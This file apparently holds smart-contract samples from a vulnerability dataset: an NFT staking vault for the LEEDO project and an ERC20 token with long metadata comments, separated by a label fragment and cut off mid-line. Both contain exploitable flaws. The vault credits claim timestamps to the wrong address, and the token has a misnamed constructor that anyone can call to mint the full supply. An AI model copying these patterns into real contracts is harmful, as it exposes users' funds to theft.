constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module that works as staking vault for NFT
*
* _ ______
* | | | _ \
* | | ___ ___| | | |___
* | | / _ \/ _ \ | | / _ \
* | |___| __/ __/ |/ / (_) |
* \_____/\___|\___|___/ \___/
* LEEDO Project
*/
interface ILeedoNft {
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) external payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function approve(address _approved, uint256 _tokenId) external payable;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
function claim() external;
function ownerClaim(uint256 _tokenId) external;
function tokenByIndex(uint256 index) external view returns (uint256);
function totalSupply() external view returns (uint256);
function getConsonantsIndex(uint256 _tokenId) external view returns (uint8[3] memory);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
function getConsonants(uint256 _tokenId) external view returns (string[3] memory);
function getGenes(uint256 _tokenId) external view returns (uint8[8] memory);
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
interface ILeedoERC20 {
function mintNftVaultRewards(address _to, uint _amount) external returns (bool);
}
contract LeedoNftVault is ERC721Enumerable, Ownable, ReentrancyGuard {
using SafeMath for uint;
bool public daoInitialized = false;
bool public transferAllowed = false; //by default regular transfer of staked NFTs are not allowed except bridge transfer
address private _nftAddr;
address private _erc20Addr;
address private _bridgeAddr;
address private _daoAddr;
uint public expiration = block.number + 365 days;
uint public rate = 5194874553201880; //per card per block reward rate in wei
mapping(address => uint) public lastBlocks; //address => lastBlock claimed
mapping(address => uint) public totalClaims; // address => total paid
mapping(uint => uint) private bridgeBlocks; //brodge tokenId => lastBlock claimed
modifier onlyDao() {
require(_daoAddr == _msgSender(), "VAULT: caller is not the DAO address!");
_;
}
//nftAddr = 0xed8a775Fde8454c99Eb4e511D7D4D6b969024C5d; //mainnet
constructor(address _nftAddress, address _erc20Address, address _bridgeAddress)
ERC721("LEEDO LP - Squid Game Card", "LeedoSquidGameCardLP") {
_nftAddr = _nftAddress;
_erc20Addr = _erc20Address;
_bridgeAddr = _bridgeAddress;
}
function setBridgeAddr(address _bridgeAddress) public onlyOwner {
require(!daoInitialized, 'NftVault: DAO is already initialized');
_bridgeAddr = _bridgeAddress;
}
function setErc20Addr(address _erc20Address) public onlyOwner {
require(!daoInitialized, 'NftVault: DAO is already initialized');
_erc20Addr = _erc20Address;
}
function initializeDao(address _daoAddress) public onlyOwner {
require(!daoInitialized, 'NftVault: DAO is already initialized');
_daoAddr = _daoAddress;
daoInitialized = true;
}
function setBridgeAddrByDao(address _bridgeAddress) public onlyDao() {
_bridgeAddr = _bridgeAddress;
}
function setErc20AddrByDao(address _erc20Address) public onlyDao() {
_erc20Addr = _erc20Address;
}
function setAllowTransfer(bool _bool) public onlyDao() {
transferAllowed = _bool;
}
function setDaoAddr(address _daoAddress) public onlyDao() {
_daoAddr = _daoAddress;
}
function setRate(uint256 _rate) public onlyDao() {
rate = _rate;
}
function setExpiration(uint256 _expiration) public onlyDao() {
expiration = block.number + _expiration;
}
function calcRewards(address account) public view returns (uint) {
require(Math.min(block.number, expiration) >= lastBlocks[account], "Invalid blocks");
uint blockCount = Math.min(block.number, expiration) - lastBlocks[account];
return rate.mul(balanceOf(account)).mul(blockCount) ;
}
function calcBridgeRewards(uint tokenId) public view returns (uint) {
require(Math.min(block.number, expiration) >= bridgeBlocks[tokenId], "Invalid blocks");
uint blockCount = Math.min(block.number, expiration) - bridgeBlocks[tokenId];
return rate.mul(blockCount);
}
function claimRewards() public {
_claimRewards(_msgSender());
}
function _claimRewards(address account) private nonReentrant {
uint amount = calcRewards(account);
uint blockCur = Math.min(block.number, expiration);
lastBlocks[_msgSender()] = blockCur;
if (amount > 0) {
totalClaims[_msgSender()] = totalClaims[_msgSender()].add(amount);
require(ILeedoERC20(_erc20Addr).mintNftVaultRewards(account, amount), 'NftVault: Leedo Minting failed');
}
}
function _claimBridgeRewards(uint tokenId, address to) private nonReentrant {
uint amount = calcBridgeRewards(tokenId);
uint blockCur = Math.min(block.number, expiration);
bridgeBlocks[tokenId] = blockCur;
if (amount > 0) {
totalClaims[to] = totalClaims[to].add(amount);
require(ILeedoERC20(_erc20Addr).mintNftVaultRewards(to, amount), 'NftVault: Leedo Minting failed');
}
}
function stake(uint256[] calldata tokenIds) external returns (bool) {
claimRewards();
ILeedoNft nft = ILeedoNft(_nftAddr);
for (uint256 i; i < tokenIds.length; i++) {
uint tokenId = tokenIds[i];
require(!_exists(tokenId), 'NftVault: The tokenId already exists');
require(nft.ownerOf(tokenId) == _msgSender(), 'NftVault: Owner is differenent' );
ILeedoNft(_nftAddr).safeTransferFrom(
_msgSender(),
address(this),
tokenId,
""
);
require(safeMint(_msgSender(), tokenId), 'NftValut: Staking failed');
}
return true;
}
function stakeByCount(uint256 _count) external returns (uint256[] memory){
claimRewards();
ILeedoNft nft = ILeedoNft(_nftAddr);
require(_count <= nft.balanceOf(_msgSender()), 'NftVault: Count is more than the owner has');
uint256[] memory tokenIds = new uint256[] (_count);
for (uint256 i; i < _count; i++) {
tokenIds[i] = nft.tokenOfOwnerByIndex(_msgSender(), i);
}
for (uint256 i; i < tokenIds.length; i++) {
ILeedoNft(_nftAddr).safeTransferFrom(
_msgSender(),
address(this),
tokenIds[i],
""
);
require(safeMint(_msgSender(), tokenIds[i]), 'NftVault: Staking failed');
}
return tokenIds;
}
function safeMint(address _to, uint _tokenId) private nonReentrant returns (bool) {
_safeMint(_to, _tokenId);
return true;
}
function withdraw(uint256[] calldata _tokenIds) external {
claimRewards();
for (uint256 i; i < _tokenIds.length; i++) {
uint tokenId = _tokenIds[i];
require(ownerOf(tokenId) == _msgSender(), 'NftVault: LP owner is different');
_burn(tokenId);
ILeedoNft(_nftAddr).safeTransferFrom(
address(this),
_msgSender(),
tokenId,
""
);
}
}
function tokensOf(address _account) public view returns (uint[] memory) {
uint[] memory tokenIds = new uint256[] (balanceOf(_account));
for (uint i; i<balanceOf(_account); i++) {
tokenIds[i] = tokenOfOwnerByIndex(_account, i);
}
return tokenIds;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from != address(0) && to != address(0)) {
if (from != _bridgeAddr && to != _bridgeAddr) {
require(transferAllowed, 'NftVault: Regular transfer is not allowed');
_claimRewards(from);
_claimRewards(to);
} else if (to == _bridgeAddr) {
_claimRewards(from);
bridgeBlocks[tokenId] = Math.min(block.number, expiration);
} else if (from == _bridgeAddr) {
_claimRewards(to);
_claimBridgeRewards(tokenId, to);
}
}
}
function daoAddr() external view returns (address) {
return _daoAddr;
}
function nftAddr() external view returns (address) {
return _nftAddr;
}
function erc20Addr() external view returns (address) {
return _erc20Addr;
}
function bridgeAddr() external view returns (address) {
return _bridgeAddr;
}
function getConsonantsIndex(uint256 _tokenId) public view returns (uint8[3] memory) {
return ILeedoNft(_nftAddr).getConsonantsIndex(_tokenId);
}
function getConsonants(uint256 _tokenId) public view returns (string[3] memory) {
return ILeedoNft(_nftAddr).getConsonants(_tokenId);
}
function getGenes(uint256 _tokenId) public view returns (uint8[8] memory) {
return ILeedoNft(_nftAddr).getGenes(_tokenId);
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
string[9] memory parts;
string[27] memory attrParts;
string memory ojingeo;
string memory sameConsonants;
uint8[8] memory geneArray = getGenes(_tokenId);
string[3] memory consArray = getConsonants(_tokenId);
uint8[3] memory consIndex = getConsonantsIndex(_tokenId);
if (consIndex[0] == 7 && consIndex[1] == 14 && consIndex[2] == 4) {
ojingeo = 'Y';
} else {
ojingeo = 'N';
}
if (consIndex[0] == consIndex[1] && consIndex[0] == consIndex[2]) {
sameConsonants = 'Y';
} else {
sameConsonants = 'N';
}
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 220">';
parts[1] = '<style>.base {font-family: Verdana; fill: white;}</style>';
parts[2] = '<rect width="100%" height="100%" fill="#458B74" />';
parts[3] = '<text x="50%" y="100" dominant-baseline="middle" text-anchor="middle" class="base" style="font-size:700%; letter-spacing: -0.2em;">';
parts[4] = string(abi.encodePacked(consArray[0], ' ', consArray[1], ' ', consArray[2]));
parts[5] = '</text><text x="50%" y="180" dominant-baseline="middle" text-anchor="middle" class="base" style="font-size:150%;">Ω ';
parts[6] = string(abi.encodePacked(toString(geneArray[0]), toString(geneArray[1]), toString(geneArray[2]), toString(geneArray[3]), ' '));
parts[7] = string(abi.encodePacked(toString(geneArray[4]), toString(geneArray[5]), toString(geneArray[6]), toString(geneArray[7]) ));
parts[8] ='</text></svg>';
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]));
attrParts[0] = '[{"trait_type": "Left Consonant", "value": "';
attrParts[1] = consArray[0];
attrParts[2] = '"}, {"trait_type": "Center Consonant", "value": "';
attrParts[3] = consArray[1];
attrParts[4] = '"}, {"trait_type": "Right Consonant", "value": "';
attrParts[5] = consArray[2];
attrParts[6] = '"}, {"trait_type": "Gene0", "value": "';
attrParts[7] = toString(geneArray[0]);
attrParts[8] = '"}, {"trait_type": "Gene1", "value": "';
attrParts[9] = toString(geneArray[1]);
attrParts[10] = '"}, {"trait_type": "Gene2", "value": "';
attrParts[11] = toString(geneArray[2]);
attrParts[12] = '"}, {"trait_type": "Gene3", "value": "';
attrParts[13] = toString(geneArray[3]);
attrParts[14] = '"}, {"trait_type": "Gene4", "value": "';
attrParts[15] = toString(geneArray[4]);
attrParts[16] = '"}, {"trait_type": "Gene5", "value": "';
attrParts[17] = toString(geneArray[5]);
attrParts[18] = '"}, {"trait_type": "Gene6", "value": "';
attrParts[19] = toString(geneArray[6]);
attrParts[20] = '"}, {"trait_type": "Gene7", "value": "';
attrParts[21] = toString(geneArray[7]);
attrParts[22] = '"}, {"trait_type": "Ojingeo", "value": "';
attrParts[23] = ojingeo;
attrParts[24] = '"}, {"trait_type": "Same Consonants", "value": "';
attrParts[25] = sameConsonants;
attrParts[26] = '"}]';
string memory attrs = string(abi.encodePacked(attrParts[0], attrParts[1], attrParts[2], attrParts[3], attrParts[4], attrParts[5], attrParts[6], attrParts[7]));
attrs = string(abi.encodePacked(attrs, attrParts[8], attrParts[9], attrParts[10], attrParts[11], attrParts[12], attrParts[13], attrParts[14]));
attrs = string(abi.encodePacked(attrs, attrParts[15], attrParts[16], attrParts[17], attrParts[18], attrParts[19], attrParts[20]));
attrs = string(abi.encodePacked(attrs, attrParts[21], attrParts[22], attrParts[23], attrParts[24], attrParts[25], attrParts[26]));
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "LEEDO LP - Squid Game Card NFT #', toString(_tokenId), '", "attributes": ', attrs ,', "description": "The squid game cards are invitation to enter the adventurous and mysterious metaverse games. Genes characteristics and other functionality are intentionally omitted for unlimited imagination and community-driven game development. Start your journey now!", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
//function tokenURI(uint256 _tokenId) public override view returns (string memory) {
// return ILeedoNft(_nftAddr).tokenURI(_tokenId);
//}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) pure external returns(bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} | True | [
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] |
pragma solidity ^0.4.21 ;
contract TEHRAN_Portfolio_Ib_883 {
mapping (address => uint256) public balanceOf;
string public name = " TEHRAN_Portfolio_Ib_883 " ;
string public symbol = " TEHRAN883 " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 2140354551050680000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEHRAN_Portfolio_I_metadata_line_1_____Asan_Pardakht_Pers_20250515 >
// < CJO0TdiK0uiWB0lIp8R4jD9W3NpZiV2O7ibv5Fe8AybOjP320HioFP404o3y9Nt8 >
// < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000061210881.473286600000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000000000005D6680 >
// < TEHRAN_Portfolio_I_metadata_line_2_____Bank_Melli_Inv_20250515 >
// < 757g2ap9JV3eU0k18t4IjG867qIE0rdcwu8N6u48FiFWUY46jYT16LEt481wAn3f >
// < u =="0.000000000000000001" : ] 000000061210881.473286600000000000 ; 000000116460677.664409000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000005D6680B1B474 >
// < TEHRAN_Portfolio_I_metadata_line_3_____Fajr_Petrochemical_20250515 >
// < z1G01Kjfz6uI2KwkOM56ZgChx2CgjyKk8sTj279r591zck24pcKTXC0F6AJ41q3y >
// < u =="0.000000000000000001" : ] 000000116460677.664409000000000000 ; 000000171382463.440255000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000000B1B4741058246 >
// < TEHRAN_Portfolio_I_metadata_line_4_____Mellat_Bank_20250515 >
// < pvk5r3SRcL08r8v1XQh80R8B2gm5eASP39SiXaiC99i5WqLBpCDEwZtI0EAc0q45 >
// < u =="0.000000000000000001" : ] 000000171382463.440255000000000000 ; 000000208353305.657455000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000105824613DEC03 >
// < TEHRAN_Portfolio_I_metadata_line_5_____Chadormalu_20250515 >
// < li2TG8666iOSDrgJ878M2N3A3A19aN23Rt6xbvAarkDiHC30LsA226spOk3g1X06 >
// < u =="0.000000000000000001" : ] 000000208353305.657455000000000000 ; 000000252385082.637906000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000013DEC031811BEC >
// < TEHRAN_Portfolio_I_metadata_line_6_____Khouz_Steel_20250515 >
// < MVG84bw9wR083X7q9lFvMNerqu7gRE3ZSZZ5avTX2654d8e5v3C5UHT37zJAffaL >
// < u =="0.000000000000000001" : ] 000000252385082.637906000000000000 ; 000000291751435.337723000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000001811BEC1BD2D68 >
// < TEHRAN_Portfolio_I_metadata_line_7_____Mobarakeh_Steel_20250515 >
// < UxJ0h6Ub5rOFq3R8166mHcLevX5eXq2UfoutUTXo79ZCgSgp5H2YM5195ya512od >
// < u =="0.000000000000000001" : ] 000000291751435.337723000000000000 ; 000000343072100.951209000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000001BD2D6820B7C8A >
// < TEHRAN_Portfolio_I_metadata_line_8_____Ghadir_Inv_20250515 >
// < 02muY5Ca7HZ7hB90ueT1yqyrE7CrihUYBS4RQIxtZCf1WJ1AKMcdBE490Q1GS84C >
// < u =="0.000000000000000001" : ] 000000343072100.951209000000000000 ; 000000397620165.608982000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000020B7C8A25EB861 >
// < TEHRAN_Portfolio_I_metadata_line_9_____Gol_E_Gohar_20250515 >
// < c634eWNMtsB8lomjYCSBKrwg8B7rWBSS63Hb6Rs2suA5M79kGfMwImJD2eCIxnru >
// < u =="0.000000000000000001" : ] 000000397620165.608982000000000000 ; 000000476761514.460519000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000025EB8612D77AF7 >
// < TEHRAN_Portfolio_I_metadata_line_10_____Iran_Mobil_Tele_20250515 >
// < GHy2nJ8217UvQ686c3uN387nhYv6U0isPL0A6OCzz15k87aEhgULivrKHn9YXPIh >
// < u =="0.000000000000000001" : ] 000000476761514.460519000000000000 ; 000000541506851.333809000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000002D77AF733A461D >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEHRAN_Portfolio_I_metadata_line_11_____Iran_Khodro_20250515 >
// < iX1B36lIfohy6nr8J15kvXJ3Y829npAH73PTQ3s5Jdqyt37fxLY08h0m3Izr4Rmo >
// < u =="0.000000000000000001" : ] 000000541506851.333809000000000000 ; 000000616108313.583000000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000033A461D3AC1B4F >
// < TEHRAN_Portfolio_I_metadata_line_12_____IRI_Marine_Co_20250515 >
// < T2F2XmuSgNzql7yJb6XT21H1v3rlG73J0vXdve2vQ7w6d7ic8cbT8n2D1t5Tj32G >
// < u =="0.000000000000000001" : ] 000000616108313.583000000000000000 ; 000000652705135.584955000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003AC1B4F3E3F2F2 >
// < TEHRAN_Portfolio_I_metadata_line_13_____Metals_Min_20250515 >
// < H15yBY3c0C1ju5t0en19sux3msBqmf3842TQGL6nEyFFIGf609149v3lZ7dD83lM >
// < u =="0.000000000000000001" : ] 000000652705135.584955000000000000 ; 000000718182786.421577000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000003E3F2F2447DC27 >
// < TEHRAN_Portfolio_I_metadata_line_14_____MAPNA_20250515 >
// < 8I82SG1yNK9kIuE30orKF7CJo33QZMiA176mkv66Mp26clRtE59npC78J3XoTE3a >
// < u =="0.000000000000000001" : ] 000000718182786.421577000000000000 ; 000000764558559.723822000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000447DC2748E9FB0 >
// < TEHRAN_Portfolio_I_metadata_line_15_____Iran_Tele_Co_20250515 >
// < i9Icd0eLY2D3iOvbZ5T5ZUZdBKrjxV4UI67M6yN05X2tdrWf2v4U9o7EP1jzrVXH >
// < u =="0.000000000000000001" : ] 000000764558559.723822000000000000 ; 000000841393243.264593000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000048E9FB0503DD3C >
// < TEHRAN_Portfolio_I_metadata_line_16_____Mobin_Petr_20250515 >
// < Ob9Ay7W1Ke7ngjrgl3zjBA12b4TCb408XF5zVG9me0e8qS2cMte82S1EBUO7u6g9 >
// < u =="0.000000000000000001" : ] 000000841393243.264593000000000000 ; 000000886895158.844619000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000503DD3C5494B6C >
// < TEHRAN_Portfolio_I_metadata_line_17_____I_N_C_Ind_20250515 >
// < Uo1SlsPKjGhB5uH6t1f267811O3h36hElju09LS1B0927L2pK1XVg9q6XnuZ46Wp >
// < u =="0.000000000000000001" : ] 000000886895158.844619000000000000 ; 000000938814504.253922000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000005494B6C598846A >
// < TEHRAN_Portfolio_I_metadata_line_18_____Omid_Inv_Mng_20250515 >
// < 0tu1Zf8X0xz03k3gWV0wtmLy885VT72o3buu8O33Uqqe7MGG0r2EDm20qNdiJ6ED >
// < u =="0.000000000000000001" : ] 000000938814504.253922000000000000 ; 000001006010100.736080000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000598846A5FF0CB2 >
// < TEHRAN_Portfolio_I_metadata_line_19_____Parsian_Oil_Gas_20250515 >
// < gCJ4N8Sh229LFUkIGHD0Edfr94uYcASk8ISn8Y6YvraP0Hv9LJw5Gkoi916dYwj5 >
// < u =="0.000000000000000001" : ] 000001006010100.736080000000000000 ; 000001059393442.681370000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000005FF0CB26508190 >
// < TEHRAN_Portfolio_I_metadata_line_20_____Fanavaran_Petr_20250515 >
// < 5pO3wh9sB877u026945fUftWNnb18k228zyn7zQ1h3ej2yecR7sV45fufUQAiOdv >
// < u =="0.000000000000000001" : ] 000001059393442.681370000000000000 ; 000001103775973.755440000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000065081906943A7D >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEHRAN_Portfolio_I_metadata_line_21_____Jam_Petr_20250515 >
// < 1726okLV3BR36B6jG51TCfy1752d70ao1784LGFmKmazeSr8QPzqc5HCR423hTfE >
// < u =="0.000000000000000001" : ] 000001103775973.755440000000000000 ; 000001158796138.464220000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000006943A7D6E82EBE >
// < TEHRAN_Portfolio_I_metadata_line_22_____Khark_Petr_20250515 >
// < QAo66E5QD3A49PdgO3b9nlA723XfFF66FT4WQBQ061P310a4byPSW8I2WROKI34Y >
// < u =="0.000000000000000001" : ] 000001158796138.464220000000000000 ; 000001238453992.454110000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000006E82EBE761BB17 >
// < TEHRAN_Portfolio_I_metadata_line_23_____Khalij_Fars_20250515 >
// < x6EWsrz1C66G4K0qBT7Rq0o3QQO95heFL95pAAv0J1Nmh3GM36Oqc7SR8G3LCwHE >
// < u =="0.000000000000000001" : ] 000001238453992.454110000000000000 ; 000001295153126.350380000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000761BB177B83F31 >
// < TEHRAN_Portfolio_I_metadata_line_24_____BA_Oil_Refinie_20250515 >
// < BJ5571Q2TAEe0yKf6095R51u1Chuz5gTkGUkDJNi8kXGmn5me2R36Z387x880n7x >
// < u =="0.000000000000000001" : ] 000001295153126.350380000000000000 ; 000001331882490.001130000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000007B83F317F04A99 >
// < TEHRAN_Portfolio_I_metadata_line_25_____Isf_Oil_Ref_Co_20250515 >
// < 4wkB3H1Ejh5q96FEr1h68EX4qHYV1898VzqMf7hw4eZ4jA6YNs50VK3Kp8GFlRW5 >
// < u =="0.000000000000000001" : ] 000001331882490.001130000000000000 ; 000001372467359.378910000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000007F04A9982E3810 >
// < TEHRAN_Portfolio_I_metadata_line_26_____Pardis_Petr_20250515 >
// < 6976Bf6rB8xqvt53nWO02IblZ6i6IBlKYEvSi5q5KgDS7JoWns3TpY7DM22Zg2t0 >
// < u =="0.000000000000000001" : ] 000001372467359.378910000000000000 ; 000001442005160.931830000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000082E38108985344 >
// < TEHRAN_Portfolio_I_metadata_line_27_____Tamin_Petro_20250515 >
// < UE9Plj5Xu1xts7r9TFR8J8S9WKjr74p6C4ns1l92ax9IUqLGwxWq636nr52H2V63 >
// < u =="0.000000000000000001" : ] 000001442005160.931830000000000000 ; 000001483346707.538130000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000000089853448D7684F >
// < TEHRAN_Portfolio_I_metadata_line_28_____Palayesh_Tehran_20250515 >
// < wh6Be2p87jY5L256U64dUkul4K3Sm3l53w90vrY3hIq5xh9NCEWBROZhs3Z8vIyU >
// < u =="0.000000000000000001" : ] 000001483346707.538130000000000000 ; 000001536886446.281760000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000008D7684F9291A45 >
// < TEHRAN_Portfolio_I_metadata_line_29_____Pension_Fund_20250515 >
// < zyCBwuXC1p4RKGez6gucHmUFrb33bRDe6sdpRSmyH8n17SQ2KpQCAI7bkLN8Kb7q >
// < u =="0.000000000000000001" : ] 000001536886446.281760000000000000 ; 000001609848020.489690000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000009291A459986EE2 >
// < TEHRAN_Portfolio_I_metadata_line_30_____Saipa_20250515 >
// < 3eHX0wKcN8iu78t3Pw18C16cTZnE6Y3e438G7AbLOw6kvv9lT0wr9864e2ehLVaL >
// < u =="0.000000000000000001" : ] 000001609848020.489690000000000000 ; 000001670977351.576980000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000009986EE29F5B587 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEHRAN_Portfolio_I_metadata_line_31_____Hegmatan_Sugar_20250515 >
// < eL4Rp6K62TfJG0hFW59g8fQ3Y3QwIHU8asGPgzHz12LeM1fXAT392JR8z7qTx54F >
// < u =="0.000000000000000001" : ] 000001670977351.576980000000000000 ; 000001719124820.482130000000000000 ] >
// < 0x000000000000000000000000000000000000000000000000009F5B587A3F2D22 >
// < TEHRAN_Portfolio_I_metadata_line_32_____F_Kh_Cement_20250515 >
// < mo2Z231Z1R1ea7LN4v27p68qZGskf5V8f1480pM70GL0j8AcGSuoE1pmh5M0G7DU >
// < u =="0.000000000000000001" : ] 000001719124820.482130000000000000 ; 000001776529382.001640000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000A3F2D22A96C4CA >
// < TEHRAN_Portfolio_I_metadata_line_33_____Iran_Aluminium_20250515 >
// < L5hatOCJ2sTdQL9yx94tnOXPn2vYG0Vz3R0YXbvgoq3hwp7ErDFCYMeSY96J39T8 >
// < u =="0.000000000000000001" : ] 000001776529382.001640000000000000 ; 000001820306550.556860000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000A96C4CAAD9913F >
// < TEHRAN_Portfolio_I_metadata_line_34_____Margarin_20250515 >
// < bphJ456D5Z23iI03dD0VKnq3u5m40GBHl6jX90E7U4QlKcsnruL030C052L91oJw >
// < u =="0.000000000000000001" : ] 000001820306550.556860000000000000 ; 000001870624899.426850000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000AD9913FB2658DA >
// < TEHRAN_Portfolio_I_metadata_line_35_____Qayen_Cement_20250515 >
// < P0470BCzNVwuvg1I8b0y9Vb5Mwu38Wg3O01kQc5Q6371xfrn99FS2Ejy2Nk74IM7 >
// < u =="0.000000000000000001" : ] 000001870624899.426850000000000000 ; 000001916006437.994380000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000B2658DAB6B9804 >
// < TEHRAN_Portfolio_I_metadata_line_36_____Isfahan_Cement_20250515 >
